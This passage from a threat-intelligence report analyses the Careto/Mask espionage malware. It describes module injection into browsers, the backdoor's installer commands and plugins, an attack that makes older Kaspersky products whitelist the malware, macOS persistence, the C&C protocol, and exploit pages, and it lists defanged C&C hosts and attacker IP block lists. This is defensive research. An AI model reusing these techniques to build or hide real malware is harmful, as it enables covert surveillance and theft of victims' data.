That routine modifies the process creation flags, forcing the process to start in suspended mode, and performs additional processing if the process being launched belongs to the list of browsers filenames: IEXPLORE.EXE, FIREFOX.EXE, CHROME.EXE.
The module infects the intercepted browser processes by injecting all the three modules from the CAB archive in its memory: dinner, chef and waiter.
These modules are created in memory of the target process and execution is passed to the dinner module by queueing an APC call to its main function.
The main module notifies its waiter module about the injected modules and connects them using anonymous pipes.
14 TLP: GREEN Dinner module This module is compiled as an executable, but its entry point function is only executed via an APC remote call and it accepts a single parameter.
File type: PE32/PE32 EXE Compilation timestamps: 2012.04.25 21:05:20 (GMT), 2012.04.25 21:05:40 (GMT), 2013.01.15 00:30:03 (GMT), 2013.01.15 20:18:55 (GMT), 2013.05.21 20:40:45 (GMT) File sizes: 25088, 18432 bytes Technical details It Loads the library iertutil.dll and patches its import in advapi32.dll, GetSidSubAuthority.
Then, it executes the command: iexplore.exe shell.3F9F6D47-FE76-4B11-8B70-780ED19091B1 and also patches the OpenEvent and CreateProcessW API in URLMON library.
After applying patches to the system libraries, the module reloads the chef and waiter modules in system DLLs the same way as the main module and invokes the waiter module in the internet mode (See Waiter module).
Chef module This module implements network connectivity features for the package.
File type: PE32/PE32 DLL Compilation timestamps: 2012.04.25 21:02:09 (GMT), 2012.04.25 21:02:43 (GMT), 2013.01.15 00:27:54 (GMT), 2013.01.15 20:16:55 (GMT), 2013.05.21 20:38:23 (GMT) File sizes: 8192, 10240 bytes Technical details When loaded by the dinner module, it returns a structure that contains pointers to four functions.
These functions can send HTTP/HTTPS GET and POST requests using a given URL.
The addresses of these functions are passed to the waiter module.
15 TLP: GREEN The module uses the following fixed User-Agent string for all HTTP requests: Mozilla/4.0 (compatible MSIE 4.01 Windows NT) Waiter module This module implements all the logic of the Careto package.
File type: PE32/PE32 DLL Compilation timestamps: 2012.04.25 21:02:02 (GMT), 2012.04.25 21:02:37 (GMT), 2013.01.15 00:27:54 (GMT), 2013.01.15 20:17:09 (GMT), 2013.05.21 20:38:36 (GMT) File sizes: 94208, 97280 bytes Technical details The encrypted configuration block is either loaded from the registry or taken from the caller and saved to the registry.
The exact location of the registry key is read from the configuration block.
Known locations are: HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\WindowsUpdate CISCNF4654 CISCNF0654 Figure 6.
Decrypted configuration block In explorer mode, it stores the handles of loaded modules and monitors the process termination to free unused handles.
This is another example of careful the Careto 16 TLP: GREEN authors were to make sure the infected machine is stable and un-noticed by the victims.
When executed in the explorer mode, it waits 60 seconds for the dinner/chef pair to be properly loaded in the browsers process.
Once there is such a process, it sends a command to its instance injected in the browser activating the connection to the CC server.
When running in the browsers process (internet mode), it enters an infinite loop waiting for commands from the anonymous pipe provided by its explorer mode instance and handles all CC communication when requested.
The CC server provides the commands inside CAB files, one archive per request.
The archive is expected to contain a text file named Meta.inf.
This file contains various configuration parameters and commands to be executed by the module.
Wed Oct 09 14:55:09 BST 2013 AIT_PARAMS-s -h -n -t -p -w 0 DLL32_FILE_NAMECDllAIT32.dll DLL64_FILE_NAMECDllAIT64.dll DATE_GENERATION20131009T145509.009 TYPECMD CLIENT_IDClient0650 CMD_SEQ0001 INST_ID4499149305321491 SUB_TYPECANNEDDLL TARGET_PROCESSexplorer PRODUCT_CODEC314 W0 Sample Meta.inf file The commands can be executed either in the module injected in browser, or by the original instance loaded via COM spoofing.
The TARGET_PROCESS values are internet and explorer, determining the operation mode.
17 TLP: GREEN Below is the full list of implemented commands: UPLOAD Write a file from the CAB archive to the infected machine.
The location can be relative to a CSIDL or environment variable.
EXEC   Launch the specified executable with parameters UPLOADEXEC Write a file from the CAB archive to the infected machine and then run it with the given parameters SYSTEMREPORT Compile a system report and upload it to CC: main modules file name proxy server settings list of installed programs OS version, type, Service Pack version list of network adapters MAC addresses availability of direct connection to www.microsoft.com:80 values of environmental variables list of users SETLATENCY Modify the delay before operation in the configuration block and update the registry.
Report back in SetLatencyLog.txt CANNEDDLL Load the executable module from the CAB archive and execute it in memory.
SETCFG Modify the data of the encrypted configuration block: primary or secondary URL of the CC server, number of attempts to try for each of them.
http://www.microsoft.com/ http://www.microsoft.com/ 18 TLP: GREEN 2.2.3.
The SGH backdoor The SGH backdoor is a lot more sophisticated than the Careto implant.
It is designed to perform a large amount of surveillance functions, on a highly modular platform that can be easily extended.
Installation module This module installs the complete SGH software package using a custom installation script that is encrypted in its body.
File type: PE32 EXE Compilation timestamps: 2013.05.09 11:20:08 (GMT), 2013.06.19 11:17:45 (GMT) File sizes: 348264, 359936 bytes Technical details The files are compiled with Visual Studio 2005.
One version of the installer module is signed by a certificate from the same (fake?)
company TecSystem Ltd from Bulgaria: Name of signer: TecSystem Ltd., Sofia, BG Serial: 0E808F231515BC519EEA1A73CDF3266F Validity: 2013.04.18  2016.07.18 Digital Certificate The SGH package is somehow special and it is what originally attracted our attention to this cyberespionage operation.
When started, it first tries to exploit a vulnerability in older Kaspersky products.
The way the attack works is the following: first, it tries to open the handle of the Kaspersky system driver, \\.\KLIF and sends a custom DeviceIoControl code.
If the call succeeds, the module and all processed named services.exe are no longer checked by the antivirus engine.
This method theoretically allows the attacker to survive the addition of signatures for the malware components, as the product wont be able to detect them because they have been whitelisted.
In practice, we can say the attack is only half baked, because detection for the other top modules will precede SGH and kill it before it loads.
Nevertheless, it was this attack against our older products that brought our attention to Careto and allowed us to discover it in the first place.
The SGH module is relatively complex and has many functionalities, but in essence it is an infinitely extensible attack platform.
In addition to the default plugins available in the installation module, the attackers can also deploy other extensions to perform more complex tasks.
To operate, SGH uses encrypted virtual file systems that store extensions and activity logs.
19 TLP: GREEN On startup, the module locates a PE section with name .inf in its own file.
This section contains the encrypted and compressed binary installation script.
The section is decrypted with RC4 using a hardcoded key and then unpacked with zlibs inflate function.
The installer parses the script, executes all the commands and then deletes its own file and exits.
The installation script is a list of binary tagged entries of variable length.
Entries can be of one of the following types: 1, 19 Depending on the additional parameter, operate in one of the following modes: 1.
Install the file into the victims system 2.
Download a file from a given URL (http, https, ftp, gopher) and either install it or treat as an additional installation script.
The file can be installed into a directory of choice: - system directory - temporary directory - system drivers directory - other location specified in the installation entry 2 Remove a previously installed file 3 Write a registry value.
Create the key if necessary.
4 Delete a registry value or a complete registry key, recursively.
5 Copy data from one registry value to another 6 Compare a registry values date with the specified value.
Abort the installation if the values are not equal.
7 Create a new system service 8 Delete a system service by name 9 Start a system service by name 10 Stop a system service by name 11 No operation 12 Create a process with given arguments 13 Show a message box 14 Append an existing registry value 15 Add an USB device filter via Windows Setup API 16 Remove an USB device filter via Windows Setup API 17 Add a certificate to the system Certificate Storage 18 Delete a certificate from the system Certificate Storage 20 Exit if the installer is NOT running in a virtual machine 21 Exit if the installer is running in a virtual machine 22 Infect the system bootmgr file with provided code 23 Write the buffer to a temporary file with prefix ___ and execute it 20 TLP: GREEN The installer module can detect if it is being executed in a VMWare or Microsoft Virtual PC virtual machine.
We have discovered two different installation scripts so far.
The decoded versions of these scripts look like the following: Script 1: Install file(SystemDir, awdcxc32.dll, 8192 bytes) Install file(SystemDir, mfcn30.dll, 17920 bytes) Install file(SystemDir, vchw9x.dll, 20992 bytes) Install file(SystemDir, awcodc32.dll, 24576 bytes) Install file(SystemDir, jpeg1x32.dll, 31744 bytes) Install file(SystemDir, bootfont.bin, 122912 bytes) Install file(DriversDir, scsimap.sys, 14464 bytes) WriteRegistry(80000002\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters, EnablePrefetcher) CreateService(scsimap, System32\DRIVERS\scsimap.sys) WriteRegistry(80000002\SYSTEM\CurrentControlSet\Services\scsimap\Params, Value) StartService(scsimap) WriteTempExecute(9320 bytes) Script 2: Install file(SystemDir, awdcxc32.dll, 8192 bytes) Install file(SystemDir, mfcn30.dll, 17920 bytes) Install file(SystemDir, vchw9x.dll, 20992 bytes) Install file(SystemDir, awcodc32.dll, 24576 bytes) Install file(SystemDir, jpeg1x32.dll, 31744 bytes) Install file(SystemDir, bootfont.bin, 126880 bytes) Install file(DriversDir, scsimap.sys, 14464 bytes) WriteRegistry(80000002\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters, EnablePrefetcher) CreateService(scsimap, System32\DRIVERS\scsimap.sys) WriteRegistry(80000002\SYSTEM\CurrentControlSet\Services\scsimap\Params, Value) StartService(scsimap) WriteTempExecute(10344 bytes) Install file(SystemDir, siiw9x.dll, 15360 bytes) StartService(ipfilterdriver) WriteRegistry(80000002\SYSTEM\CurrentControlSet\Services\IpFilterDriver, Start) Its important to point that the file names used for the DLLs during installation are not unique and are also used by legitimate software.
For instance, the driver named scsimap.sys was present in older versions of Windows.
If the installation script was executed successfully the infected machine now has a new system service named scsimap that loads the main SGHs driver scsimap.sys.
21 TLP: GREEN SGH plugin modules The following table provides the full list of plugin modules and a brief description of their functionality.
Module name Functionality Scsimap Orchestrator module for the platform components Config Operates configuration data in registry Storage Used to store activity logs in the system Cipher Provides cryptographic functions to other modules Cmprss Provides compression functions to other modules Loaddll Injects DLL payloads into processes PGPsdkDriver  Keylogger Fileflt Intercepts file operations and collects content Stopsec Implements an attack against Kaspersky products TdiFlt, TdiFlt2 Intercept network traffic awdcxc32  Interacts with scsimap driver from user mode awcodc32  Interacts with CC server via vchw9x module mfcn30  Provides a framework to extend the malware with new plugins vchw9x  Provides network connectivity functions jpeg1x32 siiw9x SkypeIE6Plugin Nmwcdlog d3dx8_20 WifiScan awview32 CDllUninstall Used for uninstalling the malware Screen saver module Intercepts and records Skype conversations Gathers information from Nokia devices Takes screenshots of victims desktop Retrieves the list of WiFi networks Collects victims email messages Uninstalls malware For a detailed description of the modules, please check APPENDIX 2: SGH Modules.
22 TLP: GREEN 2.2.4.
The SBD backdoor In addition to Careto and SGH, the Mask attackers use another backdoor based on the public, open source netcat clone sbd.
sbd stands for Shadowintegers Backdoor and has been available at least since 2004.
Figure 7: Original sdb copyright notice This backdoor has been observed for Win32, OS X and Linux.
The Linux variant gets installed from the exploit server linkconf[dot]net through the Firefox plugins.
Unfortunately, the plugins we retrieved from the server were badly damaged and could not be recovered.
Nevertheless, they do seem to exist and are in use by the Mask attackers.
The Mozilla Firefox plugin which installs the Linux SBD backdoor: Archive:  af_l_addon.xpi Name Length Method Size  Ratio Date Time CRC 32 chrome.manifest 183   Defl:N     101   45   10-07-13 14:30   cc37d585 install.rdf 1274   Defl:N     443   65   10-07-13 14:30   add50a10 bootstrap.js 1798   Defl:N     695   61   10-07-13 14:30   52eecaba content/browser.xul 166   Defl:N     134   19   10-07-13 14:30   74e9bad7 content/icon.png 66793   Defl:N     66664    0   10-07-13 14:30   27609d6e plugins/sbd-linux 26020   Defl:N     22406   14   10-07-13 14:30   a02b2e21 The Mozilla Firefox plugin that installs the SBD OS X backdoor: Archive:  af_m_addon.xpi Name Length Method Size  Ratio Date Time CRC 32 chrome.manifest 183   Defl:N     102   44   10-07-13 14:30   aeac29ae install.rdf 1274   Defl:N     443   65   10-07-13 14:30   f5ee7026 bootstrap.js 1796   Defl:N     695   61   10-07-13 14:30   d5fc6c9b content/browser.xul 166   Defl:N     134   19   10-07-13 14:30   74e9bad7 content/icon.png 66793   Defl:N     66664    0   10-07-13 14:30   27609d6e plugins/sbd-mac 42720   Defl:N     37072   13   10-07-13 14:30   12d19684 We were able to recover a working copy of the OS X sbd backdoor, which we describe below.
23 TLP: GREEN 2.2.5.
The OSX SBD backdoor The original OS X dropper found on the exploit server has the following identification information: File name: banner.jpg Type: Mach-O x86 32 bit binary MD5: 02e75580f15826d20fffb43b1a50344c Size: 46876 bytes Identification details This is a dropper for the main SBD backdoor.
First, it copies the standard Safari application to  /Applications/.DS_Store.app.
Next, it creates the file /Applications/.DS_Store.app/Contents/MacOS/Update and unpacks the main backdoor code into there.
The installer carefully copies the timestamp from the original Safari Contents/Info.plist for the backdoor, to make it harder to notice.
For persistence, it modifies the /Applications/.DS_Store.app/Contents/Info.plist file with a reference to the main backdoor body, also carefully setting the timestamp on the .plist file, then it registers it in the system via Library/LaunchAgents/com.apple.launchport.plist.
The .plist and main backdoor body are stored in the dropper in compressed (bzip2) format.
They have the following identification information: Main SBD backdoor, OS X: Type: Mach-O x86 32 bit binary MD5: 1342ac151eea7a03d51660bb5db018d9 Size: 89828 bytes .plist data: Size: 582 bytes MD5: 4dae42d1b80c85b396546ed02a00e328 The Mask version of the sbd backdoor has a hardcoded CC server, to which it connects on port 443.
The attackers can then directly access the victims machine through a shell.
All important strings in the backdoor are encrypted with a simple XOR - for even positions, it is XOR 0x7f, for odd positions it is XOR 0x10.
The CC communication is encrypted with AES and uses SHA1 for cross- authentication.
The encryption key used for communication is the following string 24 TLP: GREEN /dev/null strdup() setuid(geteuid()).
The server address is encoded in the binary as follows: Figure 8: Encoded CC address After applying th decryption algorithm, we get the real CC address: itunes212.appleupdt[dot]com By means of passive DNS fingerprinting, we identified two other domains used by the attackers as CCs.
Heres a full list of the CC servers for the OS X backdoor: Host name IP Server location itunes212.appleupdt.com 200.46.107.115 Panama, Net2net Corp. itunes214.appleupdt.com 200.46.107.116 Panama, Net2net Corp. itunes311.appleupdt.com 200.46.107.117 Panama, Net2net Corp. As of Feb 6th, 2014, the OS X SBD backdoor CC domains have been suspended by Apple.
25 TLP: GREEN 2.3.
Digital certificates Most Careto samples we obtained are signed by two different digital certificates belonging to the same company TecSystem Ltd, from Bulgaria.
We dont know if this company is legitimate.
Certificate 1: e   l   36 be 4a d4 57 f0 62 fa 77 d8 75 95 b8 cc c8 cf m    71 a4 ee 9d 5d 6a 26 85 1e 35 25 60 93 69 22 ee b6 d5 9a 1f Certificate 2: e   l   0e 80 8f 23 15 15 bc 51 9e ea 1a 73 cd f3 26 6f m    34 10 f8 cf 77 e1 7a 51 36 45 16 18 0c 3e 6d 46 b6 6c 93 c4 The first certificate was valid between 28.Jun.2011 - 28.Jun.2013.
The second certificate was valid from 18.Apr.2013 - 18.Jul.2016.
Figure 9: Digital certificate used The second valid certificate has been blacklisted by Verisign.
26 TLP: GREEN 2.4.
Exploit for Kaspersys products We initially became aware of Careto when we observed attempts to exploit a vulnerability in our products to make the malware invisible in the system.
This vulnerability was solved in 2008, when all this module was remade from scratch and the communication protocol changed, including additional security checks.
The attackers could have used this exploit for avoiding detection in some Workstation products prior version 6.0.4.,
and KAV/KIS 8.0 versions not updated properly (it was fixed during this release).
Of course, this raised our interest and our research team decided to investigate further.
In other words, the attackers attracted our attention by attempting to exploit Kaspersky Lab products.
We have no knowledge of any other malware exploiting this vulnerability.
27 TLP: GREEN 2.5.
Communication The communication between the CCs and the victims uses an encrypted protocol over HTTP or HTTPs.
In case of the Careto implant, the CC communication channel is protected with two layers of encryption.
The data received from the CC server is encrypted using a temporary AES key, which is also passed with the data and is encrypted with an RSA key.
The same RSA key is used to encrypt the data that is sent back to the CC server.
This double encryption is uncommon and shows the high level of protection implemented by the authors of the campaign.
So far, we observed two version of command and control modules, named index.cgi, main.cgi and commcgi.cgi.
These are used by the generations of the malicious modules to communicate with the attackers.
The Careto implant uses main.cgi, index.cgi and commcgi.cgi.
SGH uses exclusively index.cgi.
During CC connections, the Install or Inst parameters contain the unique ID assigned to the victim.
Heres how a typical CC query looks like: http(s)://SERVER/cgi-bin/commcgi.cgi?
GroupXXX InstallVICTIMID VerBACKDOORVERSION AskBOOLEAN BnNUMBER Known parameters for commcgi.cgi and index.cgi: Parameter Explanation Group Base-64 encoded hash of the first 16 bytes of the victim identifier Install Unique victim identifier Ver Implant version C for Careto, S for SGH.
Ask Request mode: 1 - requesting commands, 0 - reporting results CmdId Command id Ack Acknowledge on successful command execution on victims machine Bn Hardcoded value, i.e.
3 28 TLP: GREEN File Filename for exfiltrated data Offset Offset to write exfiltrated data Based on the Ver parameter, we extracted the list of unique implant versions connecting to our sinkhole for the past weeks.
Although most of the connections come from the Careto implant, there are some which indicate the possible presence of unknown versions.
Figure 10: Sinkholed requests by version C314, the most popular ID, is used by the Careto module.
C316 is the second most popular Careto module version.
The L version of the implant is a mystery.
We associate it with a version of Careto which we havent been able to locate so far, perhaps the Linux variant.
The CC communication is also different from other modules.
The L version communicates exclusively with the index.cgi script.
Finally, the AND1.0.0.0 version identifier is the most interesting.
The only known victim in the world running this version of the implant appears to be connecting through a 3G link, possibly indicating a mobile device.
Also, there is no user agent string, as in other versions of Careto.
The most likely explanation for the version name would be AND(DROID), indicating a version of the implant for Googles Android OS.
The AND implant communicates exclusively with the commcgi.cgi.
29 TLP: GREEN 2.6.
CC Servers The backdoor modules communicates with command and control via HTTP or HTTPS, depending on the malware configuration.
In all the cases we observed, the CC expose a CGI based frontend via modules named index.cgi and commcgi.cgi.
A list of collected CC URLs from known modules is included below, together with server location.
CC URL Server IP, location hxxp://202.75.56.231/cgi-bin/index.cgi Malaysia, Kuala Lumpur, Tm Vads Dc Hosting hxxp://202.75.58.153/cgi-bin/commcgi.cgi Malaysia, Kuala Lumpur, Tm Vads Dc Hosting hxxp://cherry1962.dyndns.org/cgi-bin/index.cgi 202.75.56.231 Malaysia, Kuala Lumpur, Tm Vads Dc Hosting hxxps://196.40.84.94/num Costa Rica, San Jose, Servicio Co- location Racsa hxxps://202.150.214.50/cgi-bin/commcgi.cgi Singapore, Benwu hxxps://carrus.gotdns.com/cgi-bin/commcgi.cgi 202.75.56.123 Malaysia, Kuala Lumpur, Tm Vads Dc Hosting hxxps://dfup.selfip.org/cgi-bin/commcgi.cgi 37.235.63.127 Austria, Graz, Edis Gmbh hxxps://redirserver.net/num 196.40.84.94, 190.10.9.209 Costa Rica, San Jose, Servicio Co- location Racsa hxxps://wwnav.selfip.net/cgi-bin/commcgi.cgi 190.105.232.46 Argentina, Buenos Aires, Nicolas Chiarini hxxps://81.0.233.15/cgi-bin/index.cgi Czech Republic, Prague, Casablanca Int hxxps://helpcenter1it6238.cz.cc/cgi- bin/commcgi.cgi 82.208.40.11 Czech Republic, Prague, Casablanca Int hxxps://helpcenter2br6932.cc/cgi- bin/commcgi.cgi n/a hxxps://223.25.232.161/cgi-bin/commcgi.cgi Singapore, Sg 8 To Sg hxxps://oco-231-ms.xns01.com/cgi- bin/commcgi.cgi 223.25.232.161 Singapore, Sg 8 To Sg 30 TLP: GREEN hxxps://75.126.146.114/cgi-bin/index.cgi United States, Dallas, Softlayer Technologies Inc. hxxps://services.serveftp.org/cgi-bin/main.cgi 75.126.146.114 United States, Dallas, Softlayer Technologies Inc. hxxps://ricush.ath.cx/cgi-bin/commcgi.cgi 75.126.146.114 United States, Dallas, Softlayer Technologies Inc. hxxps://nthost.shacknet.nu/cgi-bin/index.cgi 190.105.232.46 Argentina, Buenos Aires, Nicolas Chiarini We were able to obtain a copy of a CC through one of our partners in Latin America, which allowed us to analyse how it works.
CC server structure A typical CC server has the following structure: /var/www index.html  blank page /html     l nk  o Cl en  D  ec o y /cgi-bin /secure The /cgi-bin and /secure folders are described below.
CGI-BIN Folder: /cgi-bin commcgi.cgi     CC module file.cgi         tool used by the attackers to retrieve logs index.cgi        CC module kitkat.cgi       same file as index.cgi main.cgi         same file as index.cgi /ClientsDirectory   used to store victim  information /ClientsDirectory log.txt            debug logfile with victim  requests /dataang       empty /CmdData     empty /data            empty /fb                empty /bkp             Co ld  e   o   fo    ck p. Seve  l small old logfiles /in                 probably inbox folder for stolen files /img              encrypted files with .gif extension 31 TLP: GREEN In the case of the /in folder, we can find many encrypted small files with the same size (512 bytes) and the following naming schema: in.instVICTIMID.cmd000X.get000Y Apparently these files are the result of executing the command X in VICTIMID.
Small packets with the same size mean that the communication is fragmented, probably Y represents the packet sequence.
VICTIMID is always a 16 digit number.
In the case of the /img folder, all files are encrypted data files of 929 bytes.
The format is: VICTIMID.000N.gif or VICTIMID.000N.000X These are chunks of stolen data for a given VICTIMID, X being the sequence number and N the file identifier.
The files in the second format dont have the same size, reinforcing the hypothesis of last files chunk of data.
Secure Folder: /Secure getlogs.php Parses log files from apache and copies content into /usr/local/share/messages/log.
Securely deletes the original log files using the ed z comm nd.
module.php Allows to upload, delete and move modules into var/www/html test.php A Hello wo ld  ppl c   on upload.php Uploads file into /usr/local/share/messages/authdata/auth Additionally a Perl script (launchMessages.pl) inside /usr/local/share/messages is used for the users to communicate between them.
The script copies messages from one user to the receiver using the data in the /home/user/auth subdirectory, in the format adfile, login passwd auth secure port\n.
32 TLP: GREEN Finally, we observe interesting data inside .htaccess files.
Clearly the attackers wanted to keep their infrastructure hidden from undesired visitors.
For this, they blacklisted a number of IPs used by security researchers.
Some of these IPs include comments about the owners against the Careto attackers want to hide.
Notably, Kaspersky Lab IPs are included in the list.
/var/www/cgi-bin/.htaccess: deny from 72.52.91.30                              Hurricane Electric, Inc. deny from 217.115.10.132                     Chaos Computer Club e.V.
deny from 213.61.149.100                     SOPRADO GmbH deny from 62.213.110.0/26                         Kaspersky Lab deny from 23.20.44.92                                    Amazon.com deny from 38.105.71.0/24                            Cyveillance Inc deny from 66.150.14.0/24                            Internap Network Services deny from 150.70.0.0/16                               TrendMicro deny from 194.72.238.0/24                         Netcraft Ltd evuln.com deny from 78.158.11.0/24                            evuln.com cambridge computer laboratory deny from 128.232.0.0/16                            cambridge computer laboratory softlayer deny from 174.36.0.0/15                               softlayer deny from 174.122.254.42                           softlayer segurana virtua deny from 187.122.176.14                           segurana virtua worldstream deny from 217.23.0.0/24                               worldstream bluecoat deny from 8.28.16.254                                    bluecoat deny from 103.246.38.0/24                         bluecoat deny from 199.19.248.0/21                         bluecoat deny from 199.91.132.0/22                         bluecoat eset deny from 195.168.53.0/24                         eset A second .htaccess file was found in the home folder of the only user in the system.
order deny,allow Order allow,deny deny from 23.20.44.92                                    Amazon EC2 deny from 38.105.71.0/24                            Cyveillance Inc deny from 66.150.14.0/24                            Internap Network Services deny from 150.70.0.0/16                               TRENDMICRO deny from 194.72.238.0/24                         Netcraft Ltd deny from 78.158.11.0/24                            evuln.com deny from 128.232.0.0/16                            cambridge computer laboratory deny from 174.36.0.0/15                               softlayer deny from 174.122.254.42                           softlayer deny from 187.122.176.14                           segurana virtua deny from 217.23.0.0/24                               worldstream deny from 8.28.16.254                                    bluecoat 33 TLP: GREEN deny from 103.246.38.0/24                         bluecoat deny from 199.19.248.0/21                         bluecoat deny from 199.91.132.0/22                         bluecoat deny from 195.168.53.0/24                         eset allow from all Workaround for Apache Killer http://seclists.org/fulldisclosure/2011/Aug/241 RewriteEngine On RewriteCond REQUEST_METHOD (HEADGET) [NC] RewriteCond HTTP:Range ([0-9]-[0-9])(\s,\s[0-9]-[0-9]) [OR] RewriteCond HTTP:Request-Range ([0-9]-[0-9])(\s,\s[0-9]-[0-9]) RewriteRule .
- [
F] These files demonstrate the attackers are carefully protecting their infrastructure and try to avoid any monitoring attempts from security companies, including Kaspersky Lab and ESET.
Command and control domains registration can be accessed in APPENDIX 3.
34 TLP: GREEN 2.7.
Exploits The spear phishing attacks we have observed lured the victims into URLs with resources in Spanish, such as videos related to political subjects or even food recipes (recetas).
All the e-mails include a link to the malicious server that was used for infecting the victim.
After the infection, the visitor was redirected to another, clean URL.
The following links have been observed in the attacks: hxxp://bit.linkconf[dot]net/jupd/w/frame-index.htm?urlhxxp://bit.ly/censored hxxp://bit.linkconf[dot]net/jm/frame-redirect.htm?urlhxxp://bit.ly/censored hxxp://www.recetas.linkconf[dot]net/jupd/w/frame- index.htm?urlhxxp://www.recetas.net/receta.asp?ID1208GL The exploit pack was hosted on a server at linkconf [dot] net.
We have found many subdomains pretending to be newspapers, perfect for the spear phishing attacks.
Most of them simulate spanish newspapers: negocios.iprofesional.linkconf[dot]net/ www.internacional.elpais.linkconf[dot]net/ politica.elpais.linkconf[dot]net/ cultura.elpais.linkconf[dot]net/ economia.elpais.linkconf[dot]net/ test.linkconf[dot]net/ soc.linkconf[dot]net/ sociedad.elpais.linkconf[dot]net/ world.time.linkconf[dot]net/ internacional.elpais.linkconf[dot]net/ elpais.linkconf[dot]net/ www.elespectador.linkconf[dot]net/ blogs.independent.linkconf[dot]net/ www.elmundo.linkconf[dot]net/ www.guardian.linkconf[dot]net/ www.washingtonsblog.linkconf[dot]net/ www.publico.linkconf[dot]net/ The server has the typical structure of an exploit server including Javascript code for profiling the victim (browser, plugins, operating system, MS-Office version, etc).
The attack is designed to handle all possible cases and potential victim types.
Depending on the operating system, browser and installed plugins, the user is redirected to different subdirectories, which contain specific exploits for the users configuration that are most likely to work.
35 TLP: GREEN Unfortunately, we couldnt obtain any of the observed live exploits from the server as the attack URLs were removed, presumably after a successful hit on the victims.
We did find however older exploits in various folder names.
Overall, we have found exploits for Java, SWF (CVE-2012-0773), as well as malicious plugins for Chrome and Firefox, on Windows, Linux and OS X.
The names of the subdirectories give some information about the kind of attack they launch, for instance we can find /jupd where JavaUpdate.jar downloads and executes javaupdt.exe.
Several attacks against browsers supporting Java have been observed.
Unfortunately, we werent able to retrieve all the components from these attacks, as they were no longer available on the server at the time of checking.
The first known method (/jr/ folder) uses an HTML (frame-index.htm) file that attempts to load and run a signed applet.
Figure 11: JavaUpdate.jar File name: JavaUpdate.jar MD5: da1ad4e088ba921c0420428b1f73d5ca File size: 273639 bytes The JavaUpdate.jar contains an exploit for CVE-2011-3544, a vulnerability in the Java Runtime Environment (JRE) component in Oracle JAVA SE JDK and JRE 7, 6 Update 27 and earlier.
Both the Java archive and the malicious Windows payload code appears to have been compiled on Nov 7, 2013.
36 TLP: GREEN Archive:  JavaUpdate.jar Name Length Method Size  Ratio Date Time CRC 32 META-INF/MANIFEST.MF META-INF/ORACLE.SF META-INF/ORACLE.DSA META-INF/ META-INF/ applet.properties icon.jpg javaupdt com/ com/java/ com/java/ UpdateAbstract.class com/java/ WindowsUpdate.class com/java/ Update.class 620 782 922 0 37 278329 19784 0 0 1914 2825 1221 Defl:N Defl:N Defl:N Defl:N Defl:N Defl:N Defl:N Stored Stored Defl:N Defl:N Defl:N 400 494 774 2 36 2574 83 0 0 1079 1555 735 36 37 16 0 3 8 49 0 0 44 45 40 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 08:57 08:57 08:57 08:57 08:57 08:57 08:57 08:57 08:57 08:57 08:57 08:57 8ded95ba a50eb589 1adab24b 00000000 bfd6b431 fd085c57 58d365de 00000000 00000000 3e6f4e02 372c40f3 0c3ad05f The exploits Windows payload: File name: javaupdt Type: Windows PE executable MD5: 302fd970cf413afe50e6a829386e6e43 File size: 19784 bytes The javaupdt executable decrypts and runs the main backdoor installer from a file named icon.jpg in the Java archive.
The installer is encrypted with a 12 bytes XOR key.
Interestingly, the exploit payload is compiled with GCC, unlike other modules where the attackers used MSVC 2005.
The second attack against Java users leverages Java Web Start / JNLP - Java Network Launch Protocol files.
It claims to be a Java update from Oracle and asks the user to install it.
The spearphished URLs reference http://linkconf[dot]net/jn/w/file.jnlp.
37 TLP: GREEN Figure 12: Java Update The index.jnlp has the following content: Figure 13: Index jnlp Its main function is to load JavaUpdate.jar, which contains a signed dropper that installs the SGH implant into the system.
A Java version profiler which loads another JAR file named sSunJavaRealTimeSystem.jar was also found on the server, in a folder named m that might suggest it was used for OS X visitors, considering the attackers folder naming scheme.
Name Length Method Size  Ratio Date Time CRC 32 com/ 0   Stored 0 0   10-07-13 16:20   00000000 com/java/ com/java/ Update.class 0 400 Stored Def1:N 0 281 0 0 10-07-13 10-07-13 16:20 16:20 00000000 3f8cb4bf This class simply prints a message which says Updated.
38 TLP: GREEN The other observed attack methods relies on a Flash Player exploit.
CVE-2012-0773 has an interesting history.
It was originally discovered by French company VUPEN and used to win the pwn2own contest in 2012.
This was the first known exploit to escape the Chrome sandbox.
VUPEN refused to share the exploit with the contest organizers, claiming that it plans to sell it to its customers.
As a side node, VUPEN exploits are commonly seen in high end nation state level attacks for instance we have commonly observed them with HackingTeams DaVinci / Remote Control System attacks.
Figure 14:  CVE-2012-0773 staging script 39 TLP: GREEN Figure 15: Heapspray class inside the action script The SWF exploit for CVE-2012-0773 appears to have been fine-tuned for Flash Player versions 10.3.x.
Although these have become obsolete (current version is 12.0.0.38), there is no point in implementing / showcasing such a complex exploit unless the attackers were leveraging it around the time it was discovered.
It is also possible that the exploit was still on the server because some users still have old Flash Player versions, and for those, its a perfectly good attack method.
We believe /m subdirs are for Mac users, and the /l subdirs for Linux.
In these we have found traces of Firefox plugins, but unfortunately they were broken.
Linux plugin: Archive:  af_l_addon.xpi Name Length Method Size  Ratio Date Time CRC 32 chrome.manifest 183   Defl:N     101   45   10-07-13 14:30   cc37d585 install.rdf 1274   Defl:N     443   65   10-07-13 14:30   add50a10 bootstrap.js 1798   Defl:N     695   61   10-07-13 14:30   52eecaba content/browser.xul 166   Defl:N     134   19   10-07-13 14:30   74e9bad7 content/icon.png 66793   Defl:N     66664    0   10-07-13 14:30   27609d6e plugins/sbd-linux 26020   Defl:N     22406   14   10-07-13 14:30   a02b2e21 40 TLP: GREEN Mac / OSX plugin: Archive:  af_m_addon.xpi Name Length Method Size  Ratio Date Time CRC 32 chrome.manifest 183   Defl:N     102   44   10-07-13 14:30   aeac29ae install.rdf 1274   Defl:N     443   65   10-07-13 14:30   f5ee7026 bootstrap.js 1796   Defl:N     695   61   10-07-13 14:30   d5fc6c9b content/browser.xul 166   Defl:N     134   19   10-07-13 14:30   74e9bad7 content/icon.png 66793   Defl:N     66664    0   10-07-13 14:30   27609d6e plugins/sbd-mac 42720   Defl:N     37072   13   10-07-13 14:30   12d19684 Both attack plugins appear to have been compiled on October 7, 2013.
